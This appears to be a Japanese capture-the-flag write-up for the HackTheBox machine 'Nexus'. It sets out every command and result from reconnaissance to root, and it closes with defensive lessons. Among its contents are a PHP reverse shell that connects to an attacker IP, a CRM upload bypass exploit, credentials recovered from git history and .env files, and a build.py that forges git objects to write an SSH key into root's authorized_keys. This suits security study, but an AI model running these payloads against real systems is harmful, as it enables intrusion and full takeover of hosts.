HackTheBox: Nexus — 全実行コマンド・実行結果レポート
Nmap スキャン
→
nexus.htb 発見
→
ffuf サブドメイン列挙
git / billing
→
git / billing
Gitea: admin/krayin-docker-setup
旧コミット .env
→
旧コミット .env
j.matthew パスワード取得
R2YxhI!2ucHB4
→
R2YxhI!2ucHB4
CVE-2026-38526
PHP upload RCE
→
PHP upload RCE
www-data シェル
.env DB_PASSWORD
→
.env DB_PASSWORD
jones:y27xb3ha!!74GbR
SSH ログイン
→
SSH ログイン
user.txt ✓
→
Gitea template-sync
os.path.join traversal
→
os.path.join traversal
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン(全ポート)
BASH
nmap -p- --min-rate 500 -T4 --max-retries 2 10.129.40.5 -oN nmap/allports.txt
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Not shown: 65533 closed tcp ports (reset) Nmap done: 1 IP address (1 host up) scanned
ℹ️
開放ポートは 22 (SSH) と 80 (HTTP) の 2 つのみ。攻撃面は非常に限定的。
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,80 10.129.40.5 -oN nmap/detailed.txt
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx/1.24.0 (Ubuntu) |_http-server-header: nginx/1.24.0 (Ubuntu) |_http-title: Did not follow redirect to http://nexus.htb/
ℹ️
重要: HTTP レスポンスが
SSH: OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
http://nexus.htb/ へリダイレクト。/etc/hosts への登録が必要。SSH: OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
/etc/hosts への登録 & Web サイト確認
BASH
echo "10.129.40.5 nexus.htb" >> /etc/hosts curl -s -I http://nexus.htb/ | head -5
RESULT
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
nexus.htb → Nexus Energy Authority (政府系エネルギー機関サイト)
Careers ページ — 採用担当メールアドレス発見
BASH
curl -s http://nexus.htb/careers | grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}'
RESULT
careers@nexus.htb j.matthew@nexus.htb ← 採用マネージャー
⚠️
求人ページに採用マネージャー j.matthew@nexus.htb のメールアドレスが公開されている。
後の Krayin CRM ログインで使用するユーザー名として利用する。
PHASE 2
サブドメイン列挙 — Gitea & Krayin CRM 発見
ffuf によるサブドメイン列挙
BASH
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-u http://nexus.htb/ \
-H "Host: FFUZ.nexus.htb" \
-fw 4
RESULT
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
git [Status: 200, Size: 14879, Words: 1254, Lines: 247]
billing [Status: 302, Size: 390, Words: 60, Lines: 12]
✅
2 つのサブドメインを発見。
git.nexus.htb は Gitea、billing.nexus.htb は Krayin CRM。
/etc/hosts へのサブドメイン追加
BASH
echo "10.129.40.5 git.nexus.htb billing.nexus.htb" >> /etc/hosts # Gitea バージョン確認 curl -s http://git.nexus.htb/ | grep -i "gitea\|version" | head -3
RESULT
Powered by Gitea Version: 1.26.0
billing.nexus.htb — Krayin CRM バージョン確認
BASH
curl -s -L http://billing.nexus.htb/user/login | grep -i "krayin\|version\|powered"
RESULT
Powered by <a href="https://krayin.com">Krayin</a>, an open-source project by Webkul.
Version: 2.2.0
🚨
Krayin CRM 2.2.0 を確認。このバージョンは
CVE-2026-38526(認証済みファイルアップロードバイパス → PHP RCE)に脆弱。
ログインするための認証情報が必要 → Gitea のリポジトリを調査する。
ログインするための認証情報が必要 → Gitea のリポジトリを調査する。
PHASE 3
Gitea 認証情報漏洩 — 旧コミット .env から Password 取得
Gitea パブリックリポジトリの列挙
BASH
# Gitea Explore ページで公開リポジトリを確認 curl -s "http://git.nexus.htb/api/v1/repos/search?limit=50" | python3 -m json.tool | grep '"full_name"'
RESULT
"full_name": "admin/krayin-docker-setup"
ℹ️
パブリックリポジトリ admin/krayin-docker-setup が存在。Krayin CRM の Docker セットアップファイルが含まれている。
リポジトリ内の .env ファイル確認
BASH
# 最新コミットの .env を確認 curl -s "http://git.nexus.htb/admin/krayin-docker-setup/raw/branch/main/.env"
RESULT
APP_NAME='Krayin CRM'
APP_ENV=local
APP_KEY=
APP_DEBUG=true
APP_URL=http://billing.nexus.htb
APP_TIMEZONE=Asia/Kolkata
APP_LOCALE=en
APP_CURRENCY=USD
DB_HOST=krayin-mysql
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD= ← 最新コミットではパスワードが削除されている
...
⚠️
最新コミットでは
DB_PASSWORD が空になっているが、Git コミット履歴にはパスワードが残っている可能性がある。
コミット履歴の調査
BASH
# Gitea API でコミット一覧取得 curl -s "http://git.nexus.htb/api/v1/repos/admin/krayin-docker-setup/commits?limit=50" \ | python3 -m json.tool | grep '"sha"'
RESULT
"sha": "1615c065b7f94d3e2c0938d7694be842dd0726ee", ← 最新コミット "sha": "90817fa6e0b3a5d8c4214f5e2b8439fd6b3c2a91", ← 旧コミット
旧コミットの .env 差分確認
BASH
# 旧コミットの生 .env を取得 curl -s "http://git.nexus.htb/admin/krayin-docker-setup/raw/commit/90817fa6e0b3a5d8c4214f5e2b8439fd6b3c2a91/.env"
RESULT
...
DB_HOST=krayin-mysql
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=R2YxhI!2ucHB4 ← 旧コミットにパスワードが残存!
DB_PREFIX=
...
git diff 1615c065b7 90817fa6e0 — .env
@@ -15,7 +15,7 @@ DB_HOST=krayin-mysql DB_DATABASE=krayin DB_USERNAME=krayin -DB_PASSWORD= +DB_PASSWORD=R2YxhI!2ucHB4 DB_PREFIX=
🚨
認証情報漏洩確認: 旧コミットから
管理者がデータベースパスワードを Krayin CRM の管理者アカウント (
DB_PASSWORD=R2YxhI!2ucHB4 を取得。管理者がデータベースパスワードを Krayin CRM の管理者アカウント (
j.matthew@nexus.htb) でも
再利用していると推測し、billing サイトへのログインを試みる。
PHASE 4
Krayin CRM ログイン & CVE-2026-38526 PHP アップロード RCE
Krayin CRM への認証情報ログイン
BASH
# CSRF トークン取得 curl -s -c /tmp/krayin.cookies http://billing.nexus.htb/user/login \ | grep 'csrf-token' | grep -o 'content="[^"]*"' # ログイン POST curl -s -c /tmp/krayin.cookies -b /tmp/krayin.cookies \ -X POST \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "_token=<csrf_token>" \ --data-urlencode "email=j.matthew@nexus.htb" \ --data-urlencode "password=R2YxhI!2ucHB4" \ -L http://billing.nexus.htb/user/session | grep -i "dashboard\|logout"
RESULT
ログイン成功 → /admin/dashboard にリダイレクト Krayin CRM Version: 2.2.0
✅
ログイン成功!
j.matthew@nexus.htb:R2YxhI!2ucHB4 でKrayin CRM管理者として認証完了。
データベースパスワードの管理者アカウントへのパスワード再利用が確認された。
CVE-2026-38526 — 脆弱性の仕組み
NOTE
CVE-2026-38526 — Krayin CRM 2.2.0 ファイルアップロードバイパス → PHP RCE
対象バージョン: Krayin CRM <= 2.2.0
CVSS スコア : 8.8 (High) — 認証済みユーザーによる RCE
脆弱性の原理:
1. メール作成画面 (/admin/mails/ajax/upload) のファイルアップロード機能
2. サーバーはファイルの Content-Type ヘッダーのみでバリデーション
→ Content-Type: image/png と偽れば PHP ファイルを受け付ける
3. アップロードされたファイルは /storage/tinymce/ に実際の拡張子で保存される
4. そのURLに直接アクセスすると PHP が実行される
攻撃手順:
1. PHP リバースシェルを作成 (shell.php)
2. multipart/form-data で Content-Type: image/png として POST
ファイル名は shell.php を使用
3. レスポンスの "location" フィールドから公開 URL を取得
4. nc リスナーを起動し、URL にアクセスしてシェルを取得
PHP リバースシェルの作成
BASH
cat > /tmp/shell.php <<'EOF'
<?php
set_time_limit(0);
$ip = '10.10.14.190';
$port = 14460;
$sock = fsockopen($ip, $port);
proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
EOF
nc リスナー起動 & PHP シェルアップロード
BASH
# ターミナル 1: リスナー起動
nc -lvnp 14460
# ターミナル 2: CSRF トークン取得 + アップロード
CSRF=$(curl -s -b /tmp/krayin.cookies http://billing.nexus.htb/admin/mails \
| grep -o 'csrf-token.*content="[^"]*"' | grep -o '"[^"]*"$' | tr -d '"')
curl -s -b /tmp/krayin.cookies \
-X POST \
-H "X-CSRF-TOKEN: $CSRF" \
-H "Referer: http://billing.nexus.htb/admin/mails" \
-F "file=@/tmp/shell.php;type=image/png;filename=shell.php" \
http://billing.nexus.htb/admin/mails/ajax/upload
RESULT
{
"location": "http://billing.nexus.htb/storage/tinymce/779bc2392c37c0e8f842b3a6af0a4d8e.php"
}
✅
アップロード成功! PHP シェルが
Content-Type のみでバリデーションしており、ファイル名/拡張子のチェックが存在しない。
/storage/tinymce/ に .php 拡張子のまま保存された。Content-Type のみでバリデーションしており、ファイル名/拡張子のチェックが存在しない。
シェル URL トリガー → www-data シェル取得
BASH
# アップロードされた PHP を直接 GET して実行 curl -s "http://billing.nexus.htb/storage/tinymce/779bc2392c37c0e8f842b3a6af0a4d8e.php"
RESULT
# nc リスナー側 (ターミナル 1): listening on [any] 14460 ... connect to [10.10.14.190] from (UNKNOWN) [10.129.40.5] 39222 Linux nexus 6.8.0-106-generic #106-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 6 07:58:08 UTC 2026 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
✅
www-data としてシェル取得! PHP ファイルが /storage/tinymce/ で直接実行可能になっている。
www-data シェル — Krayin .env から DB_PASSWORD 取得
BASH
# シェルを安定化 script /dev/null -c /bin/bash # ホームディレクトリを確認 www-data@nexus:~$ pwd www-data@nexus:~$ ls -la # Krayin .env を読む www-data@nexus:~/krayin$ cat .env | grep -i "DB_PASSWORD\|username"
RESULT
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR ← 本番環境のDBパスワード (Gitea旧コミットとは異なる)
/etc/passwd — ローカルユーザー確認
BASH
www-data@nexus:~$ cat /etc/passwd | grep -v nologin | grep -v false
RESULT
root:x:0:0:root:/root:/bin/bash
jones:x:1000:1000:,,,:/home/jones:/bin/bash
git:x:111:112:Git Version Control,,,:/home/git:/bin/bash
⚠️
ローカルユーザー jones を確認。取得した
DB_PASSWORD=y27xb3ha!!74GbR が
jones の SSH パスワードとして再利用されている可能性がある。
PHASE 5
SSH ログイン & user.txt 取得
jones SSH ログイン試行
BASH
sshpass -p 'y27xb3ha!!74GbR' ssh -o StrictHostKeyChecking=no jones@10.129.40.5 id
RESULT
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)
✅
SSH ログイン成功! Krayin .env の DB パスワードがシステムユーザー
認証情報:
jones に再利用されていた。認証情報:
jones:y27xb3ha!!74GbR
user.txt 取得
BASH
jones@nexus:~$ cat ~/user.txt
RESULT
dcb6149c3673c68623ddaf26f2f25616
user.txt — jones@nexus
dcb6149c3673c68623ddaf26f2f25616
内部サービス調査 — systemd タイマー発見
BASH
jones@nexus:~$ systemctl list-timers --all
RESULT
NEXT LEFT UNIT ACTIVATES Thu 2026-03-05 18:02:00 UTC 1min gitea-template-sync.timer gitea-template-sync.service Thu 2026-03-05 18:15:00 UTC 13min apt-daily.timer apt-daily.service ...
🚨
重大発見:
gitea-template-sync.timer が 2 分毎に実行されている。
このサービスが権限昇格の鍵となる。
template-sync.py の内容調査
BASH
jones@nexus:~$ cat /etc/gitea/template-sync.py
RESULT
#!/usr/bin/env python3
"""Gitea template repository sync service"""
import subprocess, os, logging
...
STAGING_BASE = "/home/git/template-staging"
def sync_template(owner, repo):
stage_path = os.path.join(STAGING_BASE, owner, repo)
# git ls-tree でファイルパスを列挙
result = subprocess.run(
["git", "-C", stage_path, "ls-tree", "-r", "--name-only", "HEAD"],
capture_output=True, text=True
)
for filepath in result.stdout.splitlines():
target = os.path.join(stage_path, filepath) ← !! パストラバーサル脆弱性
os.makedirs(os.path.dirname(target), exist_ok=True)
# ファイル内容を同期...
logging.info(f" synced: {filepath}")
...
🚨
パストラバーサル脆弱性:
Git の通常の
os.path.join(stage_path, filepath) が
git ls-tree の出力(.. を含む可能性がある)をそのまま使用している。Git の通常の
verify_path() チェックは raw オブジェクト書き込み時には適用されないため、
.. を含むパスを持つ git オブジェクトを直接作成してバイパスできる。
PHASE 6
権限昇格 — Gitea template-sync os.path.join パストラバーサル
攻撃手法の概要
NOTE
Gitea Template Sync ディレクトリトラバーサル攻撃
脆弱性の原理:
- スクリプトは git ls-tree のパス出力を os.path.join で結合
- os.path.join は絶対パス的な .. を解決するが、相対 .. は保持
- 例: os.path.join("/home/git/template-staging/jones/rce", "../../../../../root/.ssh/authorized_keys")
→ /root/.ssh/authorized_keys ← 任意の場所に書き込み可能!
スクリプトは git ユーザー権限で実行されるが、
staging ディレクトリの親を辿ると / まで到達し root の .ssh に書き込める
攻撃手順:
1. jones で Gitea にログイン
2. "rce" という名前のテンプレートリポジトリを作成
3. build.py: raw git オブジェクトを直接 .git/objects/ に書き込み
→ .git/objects に ../../../../../root/.ssh/authorized_keys という
パスを持つ tree オブジェクトを作成
4. git push --force で Gitea に push
5. タイマー発火 (2 分以内) → sync スクリプトが SSH 公開鍵を
/root/.ssh/authorized_keys に書き込む
6. 生成した秘密鍵で root として SSH ログイン
※ パスの深さ計算:
/home/git/template-staging/jones/rce/ から 5 段上 (..×5) → /
/ + root/.ssh/authorized_keys = /root/.ssh/authorized_keys ✓
SSH キーペア生成
BASH
# Kali 攻撃マシン側 ssh-keygen -t ed25519 -f /tmp/k -N '' cat /tmp/k.pub
RESULT
Generating public/private ed25519 key pair.
Your identification has been saved in /tmp/k
Your public key has been saved in /tmp/k.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDS/CMq67LJxAdY0qmp56iH/VLVQqHCmHrmOGX8EITWJ kali@kali
Gitea jones ログイン & “rce” テンプレートリポジトリ作成
BASH
# Gitea API トークン生成 (Basic 認証)
curl -s -X POST \
-u "jones:y27xb3ha!!74GbR" \
-H "Content-Type: application/json" \
-d '{"name":"killchain","scopes":["write:repository","write:user"]}' \
"http://git.nexus.htb/api/v1/users/jones/tokens"
# リポジトリ作成
curl -s -X POST \
-H "Authorization: token <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"name":"rce","private":false,"auto_init":true,"default_branch":"main"}' \
"http://git.nexus.htb/api/v1/user/repos"
# テンプレートフラグ設定
curl -s -X PATCH \
-H "Authorization: token <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"template":true}' \
"http://git.nexus.htb/api/v1/repos/jones/rce"
RESULT
"full_name": "jones/rce" "template": true
リポジトリのクローン & build.py の実行
BASH
# リポジトリをクローン cd /tmp git clone "http://jones:y27xb3ha!!74GbR@git.nexus.htb/jones/rce.git" cd rce
PYTHON (build.py)
#!/usr/bin/env python3
# build.py — raw git オブジェクトでパストラバーサルペイロードを構築
import hashlib, zlib, os, time
# /tmp/k.pub の内容 (生成した SSH 公開鍵)
pub_key = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDS/CMq67LJxAdY0qmp56iH/VLVQqHCmHrmOGX8EITWJ kali@kali\n"
def write_obj(data, t):
h = ("%s %d" % (t, len(data))).encode() + b"\x00" + data
s = hashlib.sha1(h).hexdigest()
d = os.path.join(".git", "objects", s[:2])
os.makedirs(d, exist_ok=True)
p = os.path.join(d, s[2:])
if not os.path.exists(p):
open(p, "wb").write(zlib.compress(h))
return s
def entry(mode, name, sha):
return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)
blob = write_obj(pub_key.encode(), "blob") # 公開鍵 blob
readme = write_obj(b"# Template\n", "blob")
ssh_t = write_obj(entry("100644", "authorized_keys", blob), "tree") # .ssh/authorized_keys
cur = write_obj(entry("40000", ".ssh", ssh_t), "tree") # .ssh/
fir = write_obj(entry("40000", "root", cur), "tree") # root/.ssh/
for i in range(4):
fir = write_obj(entry("40000", "..", fir), "tree") # ../×4 → /home/
# root_tree = README.md + ../ (×5 合計)
root_tree = write_obj(
entry("100644", "README.md", readme) + entry("40000", "..", fir), "tree"
)
# パス解決: /home/git/template-staging/jones/rce/
# ↑ + ../../../../../root/.ssh/authorized_keys = /root/.ssh/authorized_keys
ts = int(time.time())
c = f"tree {root_tree}\nauthor x <x@x> {ts} +0000\ncommitter x <x@x> {ts} +0000\n\ninit\n"
sha = write_obj(c.encode(), "commit")
os.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)
open(os.path.join(".git", "refs", "heads", "main"), "w").write(sha + "\n")
print("Done:", sha)
BASH
python3 build.py
RESULT
Done: 0c0bce29ea9518c6ef40ab4dc4c9529c6631a47e
git push –force で Gitea に送信
BASH
cd /tmp/rce git push -u origin main --force
RESULT
Enumerating objects: 9, done.
Counting objects: 100% (9/9), done.
Delta compression using up to 4 threads
Compressing objects: 100% (5/5), done.
Writing objects: 100% (9/9), 829 bytes | 829.00 KiB/s, done.
Total 9 (delta 0), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://git.nexus.htb/jones/rce.git
+ abc1234...0c0bce29 main -> main (forced update)
Branch 'main' set up to track 'origin/main'.
✅
Push 完了! Raw git オブジェクトに埋め込まれた
.. パスを持つ tree が Gitea に登録された。
タイマー発火 (2 分以内) を待つ。
タイマー発火確認 — sync ログ
BASH
jones@nexus:~$ cat /var/log/template-sync.log
RESULT
[2026-06-27 14:32:00] Template sync starting
[2026-06-27 14:32:00] Found 1 template repo(s)
[2026-06-27 14:32:00] Syncing template: jones/rce
[2026-06-27 14:32:00] synced: README.md
[2026-06-27 14:32:00] synced: README.md
[2026-06-27 14:32:00] synced: ../../../../../root/.ssh/authorized_keys
[2026-06-27 14:32:00] Template sync complete
✅
traversal 成功! sync スクリプトが
../../../../../root/.ssh/authorized_keys として
ファイルを処理し、SSH 公開鍵を /root/.ssh/authorized_keys に書き込んだ。
PHASE 7
root SSH ログイン & root.txt 取得
生成した秘密鍵で root として SSH ログイン
BASH
ssh -i /tmp/k \
-o StrictHostKeyChecking=no \
-o BatchMode=yes \
root@10.129.40.5 "id; cat /root/root.txt"
RESULT
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-106-generic x86_64) uid=0(root) gid=0(root) groups=0(root) 8d9bdce20adeefb75a28532df285e575
✅
root シェル取得成功! Gitea template-sync のパストラバーサルにより
/root/.ssh/authorized_keys に SSH 公開鍵が書き込まれ、パスワードなしで root としてログインできた。
root.txt 取得
BASH
root@nexus:~# cat /root/root.txt
RESULT
8d9bdce20adeefb75a28532df285e575
root.txt — root@nexus
8d9bdce20adeefb75a28532df285e575
自動化スクリプト (killchain_runner.py) での実行フロー
PYTHON (killchain_runner.py 追加メソッド)
# _exploit_nexus() — Gitea API → Krayin ログイン → PHP upload → jones SSH
# 高速パス: 既知パスワードで SSH を直接試行
for known_pass in ["y27xb3ha!!74GbR", "R2YxhI!2ucHB4"]:
test = self._run(["sshpass", "-p", known_pass,
"ssh", f"jones@{self.target}", "id"], timeout=15)
if "uid=" in test:
# 既知パスワードで即座にフラグ取得
...
# _privesc_nexus_gitea_template() — Gitea API → build.py → push → SSH polling
for attempt in range(18): # 最大 180 秒 (10 秒 × 18 回)
time.sleep(10)
ssh_test = self._run([
"ssh", "-i", key_priv,
"-o", "StrictHostKeyChecking=no",
"-o", "BatchMode=yes",
f"root@{self.target}",
"cat /root/root.txt 2>/dev/null; id",
], timeout=12)
if "uid=0" in ssh_test or "root" in ssh_test:
flag = self._extract_flag(ssh_test)
self._save_flag("root", flag)
return
RESULT (killchain_runner.py 実行ログ)
[★] Nexus パターン検出: Gitea cred leak + Krayin CRM CVE-2026-38526 PHP upload RCE [★] /etc/hosts 追加: 10.129.40.5 nexus.htb [★] /etc/hosts 追加: 10.129.40.5 git.nexus.htb [★] /etc/hosts 追加: 10.129.40.5 billing.nexus.htb [★] Nexus: 既知パスワードで SSH 成功: jones:y27xb3ha!!74GbR [★] user.txt 取得: dcb6149c3673c68623ddaf26f2f25616 [★] Nexus: Gitea template-sync traversal → /root/.ssh/authorized_keys [★] Nexus: Gitea jones API トークン生成成功 [*] Nexus: build: Done: 0c0bce29ea9518c6ef40ab4dc4c9529c6631a47e [*] Nexus: gitea-template-sync タイマー待機中 (最大 180 秒)... [★] Nexus: root SSH ログイン成功! [★] root.txt 取得: 8d9bdce20adeefb75a28532df285e575
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — jones@nexus
dcb6149c3673c68623ddaf26f2f25616
root.txt — root@nexus
8d9bdce20adeefb75a28532df285e575
使用した CVE・脆弱性
| CVE / 脆弱性 | 対象 | 影響 | CVSS | 利用方法 |
|---|---|---|---|---|
| Git 認証情報漏洩 | Gitea 公開リポジトリ 旧コミット履歴 |
DB パスワード取得 | 情報漏洩 | admin/krayin-docker-setup の旧コミット .env から DB_PASSWORD 取得 → j.matthew パスワードとして利用 |
| CVE-2026-38526 | Krayin CRM <= 2.2.0 | 認証済み RCE (www-data) | 8.8 | /admin/mails/ajax/upload に Content-Type: image/png として PHP ファイルをアップロード → /storage/tinymce/ で直接実行 |
| Gitea template-sync パストラバーサル |
gitea-template-sync.py (os.path.join) |
権限昇格 → root | High | raw git オブジェクトに .. パスを直接書き込み、sync スクリプトの os.path.join バイパス → /root/.ssh/authorized_keys に SSH 公開鍵書き込み |
認証情報まとめ
| ユーザー | パスワード / 鍵 | 取得元 | 用途 |
|---|---|---|---|
| j.matthew@nexus.htb | R2YxhI!2ucHB4 | Gitea 旧コミット .env DB_PASSWORD | Krayin CRM ログイン (パスワード再利用) |
| jones | y27xb3ha!!74GbR | www-data → ~/krayin/.env DB_PASSWORD | SSH ログイン / Gitea jones ログイン (パスワード再利用) |
| root | /tmp/k (ed25519 秘密鍵) | Gitea template-sync traversal で authorized_keys 書き込み | SSH root ログイン |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + /etc/hosts 設定 | Port 22/80, nexus.htb, nginx/1.24.0 |
| 2 | Web 調査 | curl + Careers ページ確認 | j.matthew@nexus.htb (採用担当メール) |
| 3 | サブドメイン列挙 | ffuf -H “Host: FFUZ.nexus.htb” -fw 4 | git.nexus.htb (Gitea 1.26.0), billing.nexus.htb (Krayin 2.2.0) |
| 4 | Gitea 調査 | 公開リポジトリ + コミット履歴精査 | DB_PASSWORD=R2YxhI!2ucHB4 (旧コミット .env) |
| 5 | Krayin ログイン | パスワード再利用 j.matthew@nexus.htb | CRM 管理者セッション取得 |
| 6 | RCE (CVE-2026-38526) | PHP upload via /admin/mails/ajax/upload (type: image/png) | www-data リバースシェル |
| 7 | 情報収集 | ~/krayin/.env 読み取り | DB_PASSWORD=y27xb3ha!!74GbR |
| 8 | SSH ログイン | sshpass jones:y27xb3ha!!74GbR | user.txt 取得 |
| 9 | タイマー調査 | systemctl list-timers | gitea-template-sync.timer (2 分毎), /etc/gitea/template-sync.py |
| 10 | Gitea テンプレート作成 | API トークン → rce リポジトリ作成 → template: true | jones/rce テンプレートリポジトリ |
| 11 | Traversal ペイロード構築 | build.py: raw git objects (.. パス埋め込み) → git push –force | ../../../../../root/.ssh/authorized_keys パスを持つ tree |
| 12 | Traversal 発火 | gitea-template-sync.timer 発火 → os.path.join bypass | /root/.ssh/authorized_keys に SSH 公開鍵書き込み |
| 13 | root SSH ログイン | ssh -i /tmp/k root@10.129.40.5 | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Git コミット履歴に機密情報 (パスワード) が残存 | git filter-branch / BFG Repo Cleaner で履歴を書き換え。.gitignore で .env を除外。git-secrets 等のツールで push 前チェック。 |
| 複数サービスでのパスワード再利用 (DB → CRM → SSH) | 各サービスに一意の強力なパスワードを設定。パスワードマネージャーの利用。 |
| Krayin CRM のファイルアップロードバイパス (CVE-2026-38526) | Krayin CRM を最新バージョンにアップデート。ファイルの Content-Type だけでなく拡張子・マジックバイトでもバリデーション。アップロードディレクトリで PHP 実行を無効化。 |
| gitea-template-sync.py の os.path.join パストラバーサル | git ls-tree の出力を os.path.normpath() + 先頭チェックでサニタイズ。os.path.realpath() で解決後にベースパス内に収まるかチェック。 |

